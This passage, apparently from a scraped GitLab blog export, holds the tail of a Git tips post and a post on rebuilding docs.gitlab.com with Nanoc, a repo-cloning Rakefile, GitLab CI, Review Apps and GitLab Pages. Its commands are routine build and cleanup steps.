core.editor` will tell you if `core.editor`\nis set and from which file. This needs at least Git 2.8.\n\nTo change it to your favor editor (`vim`, `emacs`, `atom`, etc.), run:\n\n```bash\ngit config --global core.editor vim\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[core]\n  editor = vim\n```\n\n---\n\n_[Git docs source](https://git-scm.com/docs/git-config.html#git-config-coreeditor)_\n\n### Change the tool with which diffs are shown\n\n`git diff` is useful as it shows the changes that are not currently staged.\nWhen running this command Git usually uses its internal tool and displays\nthe changes in your terminal.\n\nIf you don't like the default difftool there are a couple of others to choose\nfrom:\n\n- `vimdiff` - [Vim's built-in vimdiff](http://vimdoc.sourceforge.net/htmldoc/diff.html)\n- `magit` - [Emacs most popular tool is Magit](https://www.emacswiki.org/emacs/Magit)\n- `meld` - [A visual diff and merge tool written in Python](http://meldmerge.org/)\n- `kdiff3` - [A diff and merge program written in Qt](http://kdiff3.sourceforge.net/)\n\nTo change the default tool for watching diffs run the following:\n\n```bash\ngit config --global diff.tool vimdiff\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[diff]\n  tool = vimdiff\n```\n\nAlso related is the `merge.tool` setting which can be set to a tool to be used\nas the merge resolution program. Similarly:\n\n```bash\ngit config --global merge.tool vimdiff\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[merge]\n  tool = vimdiff\n```\n\n---\n\n_[Git docs source](https://git-scm.com/docs/git-difftool)_\n\n## Aliases\n\nGit commands can take a lot of flags at a time. For example, for a log graph\nyou can use the following command:\n\n```bash\ngit log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr)%Creset' --abbrev-commit --date=relative\n```\n\nYou sure don't want to type this every time you need to run it. For that purpose,\nGit supports aliases, which are custom user-defined commands that build on top\nof the core ones. They are defined in `~/.gitconfig` under the `[alias]` group.\n\nOpen `~/.gitconfig` with your editor and start adding stuff.\n\n### Add an alias to pretty log graphs\n\nIn your `~/.gitconfig` add:\n\n```ini\n[alias]\n  lg = log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr)%Creset' --abbrev-commit --date=relative\n  lol = log --graph --decorate --pretty=oneline --abbrev-commit\n```\n\nNext time you want the pretty log to appear, run: `git lg` or `git lol` for\nsome pretty log graphs.\n\n### Add an alias to checkout merge requests locally\n\nA merge request contains all the history from a repository, plus the additional\ncommits added to the branch associated with the merge request. Note that you\ncan checkout a public merge request locally even if the source project is a fork\n(even a private fork) of the target project.\n\nTo checkout a merge request locally, add the following alias to your `~/.gitconfig`:\n\n```\n[alias]\n  mr = !sh -c 'git fetch $1 merge-requests/$2/head:mr-$1-$2 && git checkout mr-$1-$2' -\n```\n\nNow you can check out a particular merge request from any repository and any\nremote. For example, to check out the merge request with ID 5 as shown in GitLab\nfrom the `upstream` remote, run:\n\n```\ngit mr upstream 5\n```\n\nThis will fetch the merge request into a local `mr-upstream-5` branch and check\nit out. In the above example, `upstream` is the remote that points to GitLab\nwhich you can find out by running `git remote -v`.\n\n### The Oh-my-zsh Git aliases plugin\n\nIf you are an [Oh My Zsh][ohmyzsh] user you'll probably know this already.\nLearn how you can [enable the Git plugin][zshgit] provided with Oh My Zsh and\nstart using the short commands to save time. Some examples are:\n\n- `gl`  instead of `git pull`\n- `gp`  instead of `git push`\n- `gco` instead of `git checkout`\n\n## Git command line tips\n\nHere's a list of Git tips we gathered.\n\n### An alias of `HEAD`\n\nDid you know `@` is the same as `HEAD`? Using it during a rebase is a life saver:\n\n```bash\ngit rebase -i @~2\n```\n\n### Quickly checkout the previous branch you were on\n\nA dash (`-`) refers to the branch you were on before the current one.\nUse it to checkout the previous branch ([source][dash]):\n\n```sh\n# Checkout master\ngit checkout master\n\n# Create and checkout to a new branch\ngit checkout -b git-tips\n\n# Checkout master\ngit checkout master\n\n# Checkout to the previous branch (git-tips)\ngit checkout -\n```\n\n### Delete local branches which have already been merged into master\n\nIf you are working everyday on a project that gets contributions all the time,\nthe local branches number increases without noticing it. Run the following\ncommand to delete all local branches that are already merged into master\n([source][del-merged]):\n\n```bash\n# Make sure you have checked out master first\ngit checkout master\n\n# Delete merged branches to master except master\ngit branch --merged master | grep -v \"master\" | xargs -n 1 git branch -d\n```\n\nIn the event that you accidentally delete master (💩 happens),  get it back with:\n\n```bash\ngit checkout -b master origin/master\n```\n\n### Delete local branches that no longer exist in the remote repo\n\nTo remove all tracking branches that you have locally but are no more present in\nthe remote repository (`origin`):\n\n```bash\ngit remote prune origin\n```\n\nUse the `--dry-run` flag to only see what branches will be pruned, but not\nactually prune them:\n\n```bash\ngit remote prune origin --dry-run\n```\n\nIf you want this to be run automatically every time you fetch/pull, see\n[how to add it to your `.gitconfig`](#delete-local-branches-that-have-been-removed-from-remote-on-fetchpull).\n\n### Checking out a new branch from a base branch\n\nYou can checkout a new branch from a base branch without first checking out\nthe base branch. Confusing? Here's an example.\n\nIf you are on a branch named `old-branch` and you want to\ncheckout `new-branch` based off `master`, you'd normally do:\n\n```bash\ngit checkout master\ngit checkout -b new-branch\n```\n\nThere's a quicker way though. While still on the `old-branch`, run:\n\n```bash\ngit checkout -b new-branch master\n```\n\nThe pattern is the following:\n\n```bash\ngit checkout -b new_branch base_branch\n```\n\n## References\n\n- [Thoughbot's gitconfig file](https://github.com/thoughtbot/dotfiles/blob/master/gitconfig)\n  contains useful tips some of which are also present in this post\n- [A collection of Git tips](https://github.com/git-tips/tips/blob/master/README.md)\n- [Git and Vimdiff](http://usevim.com/2012/03/21/git-and-vimdiff/)\n- [Git's official site](https://git-scm.com/)\n\n## Conclusion\n\nAs always, writing something about Git, only scratches the surface. While some\nof the tips included in this post might come in handy, there are sure a lot\nof other stuff we're not familiar with.\n\n![Uncle Sam wants you to tell your trick](https://about.gitlab.com/images/blogimages/git-tricks/uncle-sam-wants-git.jpg){: .shadow}\n\n---\n\n_Image: \"[Branching illustration][img-url]\" by [Jason Long](https://twitter.com/jasonlong) is licensed under [CC BY 3.0](https://creativecommons.org/licenses/by/3.0/)_\n\n\u003C!-- Links -->\n\n[git-open-examples]: https://github.com/paulirish/git-open#examples\n[img-url]: https://github.com/git/git-scm.com/blob/master/public/images/branching-illustration%402x.png\n[install-open]: https://github.com/paulirish/git-open#installation\n[commands]: https://github.com/tj/git-extras/blob/master/Commands.md\n[gitextras]: https://github.com/tj/git-extras\n[zshgit]: https://github.com/robbyrussell/oh-my-zsh/wiki/Plugin:git\n[completion scripts]: https://github.com/git/git/tree/master/contrib/completion\n[gitprompt]: https://github.com/git/git/blob/master/contrib/completion/git-prompt.sh\n[git-shell-info-source]: https://github.com/robbyrussell/oh-my-zsh/wiki/Themes#kafeitu\n[del-merged]: http://stevenharman.net/git-clean-delete-already-merged-branches\n[dash]: https://twitter.com/holman/status/530490167522779137\n[ohmyzsh]: http://ohmyz.sh/\n[the internet]: /images/theinternet.png\n[gitconfig]: https://git-scm.com/docs/git-config\n[stackoverflow]: https://stackoverflow.com\n[extras-inst]: https://github.com/tj/git-extras/blob/master/Installation.md\n[rebase]: https://git-scm.com/book/en/v2/Git-Branching-Rebasing#The-Perils-of-Rebasing\n[submodules]: https://git-scm.com/book/en/v2/Git-Tools-Submodules\n[git]: https://git-scm.com\n[git cheatsheet]: https://gitlab.com/gitlab-com/marketing/raw/master/design/print/git-cheatsheet/print-pdf/git-cheatsheet.pdf\n",{"slug":36806,"featured":6,"template":678},"git-tips-and-tricks","content:en-us:blog:git-tips-and-tricks.yml","Git Tips And Tricks","en-us/blog/git-tips-and-tricks.yml","en-us/blog/git-tips-and-tricks",{"_path":36812,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36813,"content":36818,"config":36822,"_id":36824,"_type":16,"title":36825,"_source":17,"_file":36826,"_stem":36827,"_extension":20},"/en-us/blog/building-a-new-gitlab-docs-site-with-nanoc-gitlab-ci-and-gitlab-pages",{"title":36814,"description":36815,"ogTitle":36814,"ogDescription":36815,"noIndex":6,"ogImage":23726,"ogUrl":36816,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36816,"schema":36817},"Building a new GitLab Docs site with Nanoc, GitLab CI, and GitLab Pages","How we built the new GitLab Docs portal from the ground up","https://about.gitlab.com/blog/building-a-new-gitlab-docs-site-with-nanoc-gitlab-ci-and-gitlab-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building a new GitLab Docs site with Nanoc, GitLab CI, and GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Connor Shea\"}],\n        \"datePublished\": \"2016-12-07\",\n      }",{"title":36814,"description":36815,"authors":36819,"heroImage":23726,"date":36820,"body":36821,"category":734},[36517],"2016-12-07","\nWe recently rebuilt [docs.gitlab.com](https://docs.gitlab.com) from scratch. Where previously the site was generated with a simple Ruby script, we now use a proper static site generator.\n\nCheck out the improvements we made, the structure we now use to deploy from specific directories in multiple repositories to a single website, build with [GitLab CI](/solutions/continuous-integration/) and deployed with [GitLab Pages][pages]. Now our documentation has a nicer look and feel, is more pleasant to read through, and simpler and quicker to maintain.\n\n\u003C!-- more -->\n\n- TOC\n{:toc}\n\n## Improvements\n\nThe old documentation website was pretty much just an HTML file, a stylesheet, and a [Ruby script][genrb] called `generate.rb`. While it worked, it was hard to update and not very flexible. It mostly laid dormant, only occasionally being touched by developers. The docs team really wanted to update the site to use a [static site generator](/blog/ssg-overview-gitlab-pages-part-3-examples-ci/) and take better advantage of [GitLab Pages][pages].\n\nWe chose [Nanoc](https://nanoc.ws/) because it’s fast, it comes with a number of built-in helpers and filters (as well as the ability to create custom ones), and it’s built with Ruby. Overall, we think this was definitely the right choice. The author was very responsive and addressed anything we brought up. Kudos to him on the great project!\n\nOther improvements include syntax highlighting with [Rouge](http://rouge.jneen.net/) (no syntax highlighting was used at all on the old site), breadcrumbs for navigating between pages, and an improved overall design – especially on mobile.\n\n## Requirements\n\nOur documentation site has some unique requirements that I haven’t seen mentioned or solved in any other companies’ blog posts. We have a few products with documentation we want to include in the site: Community Edition, Enterprise Edition, Omnibus GitLab, and GitLab Runner. In the future we’ll likely add more.\n\nEach product has it own repository with its own documentation directory. This allows developers to add documentation in the same merge request they add a new feature or change some behavior, which prevents documentation from becoming outdated.\n\nThe site also needed to be flexible enough that we could add versioning to it in the future. Eventually, our goal is to replace the Help section in CE/EE with this Docs site, so we need to maintain older versions of the documentation on the Docs site for users on older versions of GitLab.\n\n## The build process\n\nGiven the requirements and separate repositories, we decided we’d just need to clone the repositories as part of the build process.\n\nInside Nanoc's config file (`nanoc.yml`), we [have defined][nanocyaml] a hash of each of our products containing all the data we need. Here's an excerpt:\n\n```yaml\nproducts:\n  ce:\n    full_name: 'GitLab Community Edition'\n    short_name: 'Community Edition'\n    abbreviation: 'CE'\n    slug: 'ce'\n    index_file: 'README.*'\n    description: 'Browse user and administration documentation and guides for GitLab Community Edition.'\n    repo: 'https://gitlab.com/gitlab-org/gitlab-ce.git'\n    dirs:\n      temp_dir: 'tmp/ce/'\n      dest_dir: 'content/ce'\n      doc_dir:  'doc'\n\n...\n\n  runner:\n    full_name: 'GitLab Runner'\n    short_name: 'Runner'\n    abbreviation: 'RU'\n    slug: 'runner'\n    index_file: 'index.*'\n    description: 'Browse installation, configuration, maintenance, and troubleshooting documentation for GitLab Runner.'\n    repo: 'https://gitlab.com/gitlab-org/gitlab-runner.git'\n    dirs:\n      temp_dir: 'tmp/runner/'\n      dest_dir: 'content/runner'\n      doc_dir:  'docs'\n```\n\nWe then have the [Rakefile] where the repos are cloned and the directories that\nNanoc needs are created:\n\n```ruby\ndesc 'Pulls down the CE, EE, Omnibus and Runner git repos and merges the content of their doc directories into the nanoc site'\ntask :pull_repos do\n  require 'yaml'\n\n  # By default won't delete any directories, requires all relevant directories\n  # be empty. Run `RAKE_FORCE_DELETE=true rake pull_repos` to have directories\n  # deleted.\n  force_delete = ENV['RAKE_FORCE_DELETE']\n\n  # Parse the config file and create a hash.\n  config = YAML.load_file('./nanoc.yaml')\n\n  # Pull products data from the config.\n  ce = config[\"products\"][\"ce\"]\n  ee = config[\"products\"][\"ee\"]\n  omnibus = config[\"products\"][\"omnibus\"]\n  runner = config[\"products\"][\"runner\"]\n\n  products = [ce, ee, omnibus, runner]\n  dirs = []\n  products.each do |product|\n    dirs.push(product['dirs']['temp_dir'])\n    dirs.push(product['dirs']['dest_dir'])\n  end\n\n  if force_delete\n    puts \"WARNING: Are you sure you want to remove #{dirs.join(', ')}? [y/n]\"\n    exit unless STDIN.gets.index(/y/i) == 0\n\n    dirs.each do |dir|\n      puts \"\\n=> Deleting #{dir} if it exists\\n\"\n      FileUtils.rm_r(\"#{dir}\") if File.exist?(\"#{dir}\")\n    end\n  else\n    puts \"NOTE: The following directories must be empty otherwise this task \" +\n      \"will fail:\\n#{dirs.join(', ')}\"\n    puts \"If you want to force-delete the `tmp/` and `content/` folders so \\n\" +\n      \"the task will run without manual intervention, run \\n\" +\n      \"`RAKE_FORCE_DELETE=true rake pull_repos`.\"\n  end\n\n  dirs.each do |dir|\n    unless \"#{dir}\".start_with?(\"tmp\")\n\n      puts \"\\n=> Making an empty #{dir}\"\n      FileUtils.mkdir(\"#{dir}\") unless File.exist?(\"#{dir}\")\n    end\n  end\n\n  products.each do |product|\n    temp_dir = File.join(product['dirs']['temp_dir'])\n    puts \"\\n=> Cloning #{product['repo']} into #{temp_dir}\\n\"\n\n    `git clone #{product['repo']} #{temp_dir} --depth 1 --branch master`\n\n    temp_doc_dir = File.join(product['dirs']['temp_dir'], product['dirs']['doc_dir'], '.')\n    destination_dir = File.join(product['dirs']['dest_dir'])\n    puts \"\\n=> Copying #{temp_doc_dir} into #{destination_dir}\\n\"\n    FileUtils.cp_r(temp_doc_dir, destination_dir)\n  end\nend\n```\n\nThe `pull_repos` task inside the Rakefile is pretty self-explanatory if you know\nsome Ruby, but here's what it does:\n\n1. `nanoc.yml` is loaded since it contains the information we need for the\n   various products:\n\n    ```ruby\n    config = YAML.load_file('./nanoc.yaml')\n    ```\n\n1. The products data are pulled from the config:\n\n    ```ruby\n    ce = config[\"products\"][\"ce\"]\n    ee = config[\"products\"][\"ee\"]\n    omnibus = config[\"products\"][\"omnibus\"]\n    runner = config[\"products\"][\"runner\"]\n    ```\n\n1. The needed directories to be created (or deleted) are populated in an array:\n\n    ```ruby\n    products = [ce, ee, omnibus, runner]\n    dirs = []\n    products.each do |product|\n      dirs.push(product['dirs']['temp_dir'])\n      dirs.push(product['dirs']['dest_dir'])\n    end\n    ```\n\n1. The empty directories are created:\n\n    ```ruby\n    dirs.each do |dir|\n      unless \"#{dir}\".start_with?(\"tmp\")\n\n        puts \"\\n=> Making an empty #{dir}\"\n        FileUtils.mkdir(\"#{dir}\") unless File.exist?(\"#{dir}\")\n      end\n    end\n    ```\n1. We finally copy the contents of the documentation directory (defined by\n   `doc_dir`) for each product from `tmp/` to `content/`:\n\n    ```ruby\n    products.each do |product|\n      temp_dir = File.join(product['dirs']['temp_dir'])\n      puts \"\\n=> Cloning #{product['repo']} into #{temp_dir}\\n\"\n\n      `git clone #{product['repo']} #{temp_dir} --depth 1 --branch master`\n\n      temp_doc_dir = File.join(product['dirs']['temp_dir'], product['dirs']['doc_dir'], '.')\n      destination_dir = File.join(product['dirs']['dest_dir'])\n      puts \"\\n=> Copying #{temp_doc_dir} into #{destination_dir}\\n\"\n      FileUtils.cp_r(temp_doc_dir, destination_dir)\n    end\n    ```\n\n   `content/` is where Nanoc looks for the actual site’s Markdown files. To prevent the `tmp/` and `content/` subdirectories from being pushed after testing the site locally, they’re excluded by `.gitignore`.\n\nIn the future we may speed this up further by caching the `tmp` folder in CI. The task would need to be updated to check if the local repository is up-to-date with the remote, only cloning if they differ.\n\nNow that all the needed files are in order, we run `nanoc` to build the static sire. Nanoc runs each Markdown file through a series of [filters][nanoc-filters] defined by rules in the [`Rules` file][rules]. We currently use [Redcarpet][] as the Markdown parser along with Rouge for syntax highlighting, as well as some custom filters. We plan on [moving to Kramdown as our Markdown parser in the future](https://gitlab.com/gitlab-org/gitlab-docs/issues/50) as it provides some nice stuff like user-defined Table of Contents, etc.\n\nWe also define some filters inside the [`lib/filters/` directory][filtersdir],\nincluding one that [replaces any `.md` extension with `.html`][md2html].\n\nThe Table of Contents (ToC) is generated for each page except when it's named `index.md`\nor `README.md` as we usually use these as landing pages to index other\ndocumentation files and we don't want them to have a ToC. All this and some\nother options that Redcarpet provides [are defined in the `Rules` file][redrules].\n\nFor more on the specifics of building a site with Nanoc, see [the Nanoc tutorial](https://nanoc.ws/doc/tutorial/).\n\n## Taking advantage of GitLab to put everything together\n\nThe new docs portal is hosted on GitLab.com at \u003Chttps://gitlab.com/gitlab-org/gitlab-docs>.\nIn that project we create issues, discuss things, open merge requests in feature\nbranches, iterate on feedback and finally merge things in the `master` branch.\nAgain, the documentation source files are not stored in this repository, if\nyou want to contribute, you'd have to open a merge request to the respective\nproject.\n\nThere are 3 key things we use to test, build, deploy and host the Nanoc site\nall built into GitLab: [GitLab CI](/solutions/continuous-integration/), [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/)\nand [GitLab Pages][pages].\n\nLet's break it down to pieces.\n\n### GitLab CI\n\nGitLab CI is responsible of all the stages that we go through to publish\nnew documentation: test, build and deploy.\n\nNanoc has a built-in system of [Checks](https://nanoc.ws/doc/testing/), including HTML/CSS and internal/external link validation. With GitLab CI we test with the internal link checker (set to [`allow failure`][allowfail]) and also verify that the site compiles without errors. We also run a [SCSS Linter](https://github.com/sasstools/sass-lint) to make sure our SCSS looks uniform.\n\nOur full [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/.gitlab-ci.yml) file looks like this. We'll break it down to make it clear what it is doing:\n\n```yaml\nimage: ruby:2.3\n\n## Cache the vendor/ruby directory\ncache:\n  key: \"ruby-231\"\n  paths:\n  - vendor/ruby\n\n## Define the stages\nstages:\n  - test\n  - deploy\n\n## Before each job's script is run, run the commands below\nbefore_script:\n  - ruby -v\n  - bundle install --jobs 4 --path vendor\n\n## Make sure the site builds successfully\nverify_compile:\n  stage: test\n  script:\n    - rake pull_repos\n    - nanoc\n  artifacts:\n    paths:\n      - public\n    expire_in: 1w\n  except:\n    - master\n  tags:\n    - docker\n\n## Check for dead internal links using Nanoc's built-in tool\ninternal_links:\n  stage: test\n  script:\n    - rake pull_repos\n    - nanoc\n    - nanoc check internal_links\n  allow_failure: true\n  tags:\n    - docker\n\n## Make sure our SCSS stylesheets are correctly defined\nscss_lint:\n  stage: test\n  script:\n    - npx sass-lint '**/*.scss' -v\n  tags:\n    - docker\n\n## A job that deploys a review app to a dedicated server running Nginx.\nreview:\n  stage: deploy\n  variables:\n    GIT_STRATEGY: none\n  before_script: []\n  cache: {}\n  script:\n    - rsync -av --delete public /srv/nginx/pages/$CI_BUILD_REF_NAME\n  environment:\n    name: review/$CI_BUILD_REF_NAME\n    url: http://$CI_BUILD_REF_NAME.$APPS_DOMAIN\n    on_stop: review_stop\n  only:\n    - branches@gitlab-org/gitlab-docs\n  except:\n    - master\n  tags:\n    - nginx\n    - review-apps\n\n## Stop the review app\nreview_stop:\n  stage: deploy\n  variables:\n    GIT_STRATEGY: none\n  before_script: []\n  artifacts: {}\n  cache: {}\n  dependencies: []\n  script:\n    - rm -rf public /srv/nginx/pages/$CI_BUILD_REF_NAME\n  when: manual\n  environment:\n    name: review/$CI_BUILD_REF_NAME\n    action: stop\n  only:\n    - branches@gitlab-org/gitlab-docs\n  except:\n    - master\n  tags:\n    - nginx\n    - review-apps\n\n## Deploy the static site to GitLab Pages\npages:\n  stage: deploy\n  environment:\n    name: production\n    url: https://docs.gitlab.com\n  script:\n    - rake pull_repos\n    - nanoc\n    # Symlink all README.html to index.html\n    - for i in `find public -name README.html`; do ln -sf README.html $(dirname $i)/index.html; done\n  artifacts:\n    paths:\n    - public\n    expire_in: 1h\n  only:\n    - master@gitlab-org/gitlab-docs\n  tags:\n    - docker\n```\n\nTo better visualize how the jobs are run, take a look at how the pipeline\ngraph looks like for [one of the pipelines][pipeline].\n\n![Pipeline graph example](https://about.gitlab.com/images/blogimages/new-gitlab-docs-site/pipeline-graph.png){: .shadow}\n\nLet's see what all these settings mean.\n\nFor more information, you can read the [documentation on `.gitlab-ci.yml`][ciyaml].\n{: .alert .alert-info}\n\n---\n\nDefine the Docker image to be used:\n\n```yaml\nimage: ruby:2.3\n```\n\n[Cache] the vendor/ruby directory so that we don't have to install the\ngems for each job/pipeline:\n\n```yaml\ncache:\n  key: \"ruby-231\"\n  paths:\n  - vendor/ruby\n```\n\nDefine the [stages] the jobs will run:\n\n```yaml\nstages:\n  - test\n  - deploy\n```\n\nBefore each job's script is run, run the commands that are defined in the\n[`before_script`][before_script]. Display the Ruby version and install\nthe needed gems:\n\n```yaml\nbefore_script:\n  - ruby -v\n  - bundle install --jobs 4 --path vendor\n```\n\nIn the `verify_compile` job we make sure the site builds successfully.\nIt first pulls the repos locally, then runs `nanoc` to compile the site.\nThe `public/` directory where the static site is built, is uploaded as\nan artifact so that it can pass between stages. We define an expire date of\none week. The job runs on all refs except master. The `docker` tag ensures that\nthis job is picked by the shared Runners on GitLab.com:\n\n```yaml\nverify_compile:\n  stage: test\n  script:\n    - rake pull_repos\n    - nanoc\n  artifacts:\n    paths:\n      - public\n    expire_in: 1w\n  except:\n    - master\n  tags:\n    - docker\n```\n\nIn the `internal_links` job we check for dead internal links using Nanoc's\nbuilt-in functionality. We first need to pull the repos and compile the static\nsite. We allow it to fail since the source of the dead links are in a\ndifferent repository, not much related with the current one.\nThe `docker` tag ensures that this job is picked by the shared Runners\non GitLab.com:\n\n```yaml\ninternal_links:\n  stage: test\n  script:\n    - rake pull_repos\n    - nanoc\n    - nanoc check internal_links\n  allow_failure: true\n  tags:\n    - docker\n```\n\nThe `scss_lint` job makes sure our SCSS stylesheets are correctly defined by\nrunning a linter on them. The `docker` tag ensures that this job is picked by\nthe shared Runners on GitLab.com:\n\n```yaml\nscss_lint:\n  stage: test\n  script:\n    - npx sass-lint '**/*.scss' -v\n  tags:\n    - docker\n\n```\n\nNext, we define the Review Apps.\n\n### Review Apps\n\nWhen opening a merge request for the docs site we use a new feature called [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) to test changes. This lets us test new features, style changes, new sections, etc., by deploying the updated static site to a test domain. On every merge request that all jobs finished successfully, we can see a link with the URL to the temporary deployed docs site.\n\n![Review apps](https://about.gitlab.com/images/blogimages/gitlab-docs-review-apps-screenshot.png){: .shadow}\n\nWe define two additional jobs for that purpose in `.gitlab-ci.yml`:\n\n```yaml\nreview:\n  stage: deploy\n  variables:\n    GIT_STRATEGY: none\n  before_script: []\n  cache: {}\n  script:\n    - rsync -av --delete public /srv/nginx/pages/$CI_BUILD_REF_NAME\n  environment:\n    name: review/$CI_BUILD_REF_NAME\n    url: http://$CI_BUILD_REF_NAME.$APPS_DOMAIN\n    on_stop: review_stop\n  only:\n    - branches@gitlab-org/gitlab-docs\n  except:\n    - master\n  tags:\n    - nginx\n    - review-apps\n\nreview_stop:\n  stage: deploy\n  variables:\n    GIT_STRATEGY: none\n  before_script: []\n  artifacts: {}\n  cache: {}\n  dependencies: []\n  script:\n    - rm -rf public /srv/nginx/pages/$CI_BUILD_REF_NAME\n  when: manual\n  environment:\n    name: review/$CI_BUILD_REF_NAME\n    action: stop\n  only:\n    - branches@gitlab-org/gitlab-docs\n  except:\n    - master\n  tags:\n    - nginx\n    - review-apps\n```\n\nThey both run on all branches except `master` since `master` is deployed straight\nto production. Once someone with write access to the repository pushes a branch\nand creates a merge request, if the jobs in the `test` stage finish successfully,\nthe `review` job deploys the code of that particular branch to a server. The\nserver is set up to [use Nginx with Review Apps][nginx-example], and it uses\nthe artifacts from the previously `verify_compile` job which contain the\n`public/` directory with the HTML files Nanoc compiled.\n\nNotice that both jobs rely on [dynamic environments][environments] and with\nthe `review/` prefix we can group them under the [Environments page](https://gitlab.com/gitlab-org/gitlab-docs/environments).\n\nThe `review_stop` job depends on the `review` one and is called whenever we\nwant to clear up the review app. By default it is called every time the related\nbranch is deleted, but you can also manually call it with the buttons that can\nbe found in GitLab.\n\nThe trick of this particular set up is that we use the shared Runners provided\nin GitLab.com to test and build the docs site (using Docker containers) whereas\nwe use a specific Runner that is set up in the server that hosts the Review Apps\nand is configured with the [shell executor]. GitLab CI knows what Runner to use\neach time from the `tags` we provide each job with.\n\nThe `review` job has also some other things specified:\n\n```yaml\nvariables:\n  GIT_STRATEGY: none\nbefore_script: []\ncache: {}\n```\n\nIn this case, [`GIT_STRATEGY`][gitstrategy] is set up to `none` since we don't need to\ncheckout the repository for this job. We only use `rsync` to copy over the\nartifacts that were passed from the previous job to the server where Review\nApps are deployed. We also turn off the `before_script` since we don't need it\nto run, same for `cache`. They both are defined globally, so you need to pass\nan empty array and hash respectively to disable them in a job level.\n\nOn the other hand, setting the `GIT_STRATEGY` to `none` is necessary on the\n`review_stop` job so that the GitLab Runner won't try to checkout the code after\nthe branch is deleted. We also define one additional thing in it:\n\n```yaml\ndependencies: []\n```\n\nSince this is the last job that is performed in the lifecycle of a merge request\n(after it's merged and the branch deleted), we opt to not download any artifacts\nfrom the previous stage with passing an empty array in [`dependencies`][deps].\n\n---\n\nSee [our blog post on Review Apps](/blog/introducing-review-apps/) for\nmore information about how they work and their purpose. Be sure to also check\nthe [Review Apps documentation][radocs] as well as [how dynamic environments work][environments]\nsince they are the basis of the Review Apps.\n\nThe final step after the site gets successfully built is to deploy to\nproduction which is under the URL everybody knows: \u003Chttps://docs.gitlab.com>.\nFor that purpose, we use [GitLab Pages][pages].\n\n### GitLab Pages\n\n[GitLab Pages](https://pages.gitlab.io/) hosts [static websites](https://en.wikipedia.org/wiki/Static_web_page) and can be used with any Static Site Generator, including [Jekyll](https://jekyllrb.com/), [Hugo](https://gohugo.io/), [Middleman](https://middlemanapp.com/), [Pelican](http://blog.getpelican.com/), and of course Nanoc.\n\nGitLab Pages allows us to create the static site dynamically since it just deploys the `public` directory after the GitLab CI task is done. The job responsible for this is named `pages`.\n\nA production environment is set with a url to the of the docs portal.\nThe script pulls the repos, runs `nanoc` to compile the static site.\nThe `public/` directory where the static site is built, is uploaded as\nan artifact so that it can be deployed to GitLab Pages. We define an expire\ndate of one hour and the job runs only on the master branch.\nThe `docker` tag ensures that this job is picked by the shared Runners\non GitLab.com.\n\n```yaml\npages:\n  stage: deploy\n  environment:\n    name: production\n    url: https://docs.gitlab.com\n  script:\n    - rake pull_repos\n    - nanoc\n    # Symlink all README.html to index.html\n    - for i in `find public -name README.html`; do ln -sf README.html $(dirname $i)/index.html; done\n  artifacts:\n    paths:\n    - public\n    expire_in: 1h\n  only:\n    - master@gitlab-org/gitlab-docs\n  tags:\n    - docker\n```\n\nGitLab Pages deploys our documentation site whenever a commit is made to the master branch of the gitlab-docs repository and is run only on the `master` branch of the gitlab-docs project.\n\nSince the documentation content itself is not hosted under the gitlab-docs repository, we rely to a CI job under all the products we build the docs site from. We specifically [make use of triggers][triggers] where a build for the docs site is triggered whenever CI runs successfully on the master branches of CE, EE, Omnibus GitLab, or Runner. If you go to the [pipelines page of the gitlab-docs project][pipelines-docs], you can notice the **triggered** word next to the pipelines that are re-run because a trigger was initiated.\n\n![Pipeline triggers](https://about.gitlab.com/images/blogimages/new-gitlab-docs-site/pipelines-triggers.png){: .shadow}\n\nHow we specifically use triggers for gitlab-docs is briefly described in the\n[project's readme][readme-triggers].\n\nWe also use a hack to symlink all `README.html` files into `index.html` so that\nthey can be viewed without the extension. Notice how the following links point\nto the same document:\n\n- \u003Chttps://docs.gitlab.com/ee/ci/yaml/index.html>\n- \u003Chttps://docs.gitlab.com/ee/ci/yaml/>\n\nThe line responsible for this is:\n\n```bash\nfor i in `find public -name README.html`; do ln -sf README.html $(dirname $i)/index.html; done\n```\n\nThe artifacts are made to [expire in] an hour since they are deployed to the\nGitLab Pages server, we don't need them lingering in GitLab forever.\n\nIt’s worth noting that GitLab Pages is a [GitLab Enterprise Edition](/stages-devops-lifecycle/)-only feature, but it’s also available for free on GitLab.com.\n{: .alert .alert-info}\n\n## Conclusion\n\nHopefully this shows some GitLab's power and how having everything integrated into one cohesive product simplifies one's workflow. If you have a complex documentation site you’d like to put together from specific directories in multiple Git repositories, the process described above is the best we've been able to come up with. If you have any ideas to make this system better, let us know!\n\nThe documentation website is [open source](https://gitlab.com/gitlab-org/gitlab-docs), available under the MIT License. You’re welcome to take a look at it, submit a merge request, or even fork it to use it with your own project.\n\nThanks for reading, if you have any questions we’d be happy to answer them in the comments!\n\n\u003C!-- Cover image: https://unsplash.com/photos/G6G93jtU1vE -->\n\n[genrb]: https://gitlab.com/gitlab-com/doc-gitlab-com/blob/master/generate.rb\n[nanocyaml]: https://gitlab.com/gitlab-org/gitlab-docs/blob/30f13e6a81bf9baeda95204b5524c6abf980b1e5/nanoc.yaml#L101-149\n[Rakefile]: https://gitlab.com/gitlab-org/gitlab-docs/blob/30f13e6a81bf9baeda95204b5524c6abf980b1e5/Rakefile\n[md2html]: https://gitlab.com/gitlab-org/gitlab-docs/blob/30f13e6a81bf9baeda95204b5524c6abf980b1e5/lib/filters/markdown_to_html_ext.rb\n[redrules]: https://gitlab.com/gitlab-org/gitlab-docs/blob/30f13e6a81bf9baeda95204b5524c6abf980b1e5/Rules#L33-51\n[redcarpet]: https://github.com/vmg/redcarpet\n[allowfail]: https://docs.gitlab.com/ee/ci/yaml/#allow_failure\n[ciyaml]: https://docs.gitlab.com/ee/ci/yaml/\n[environments]: https://docs.gitlab.com/ee/ci/environments/index.html#dynamic-environments\n[pipeline]: 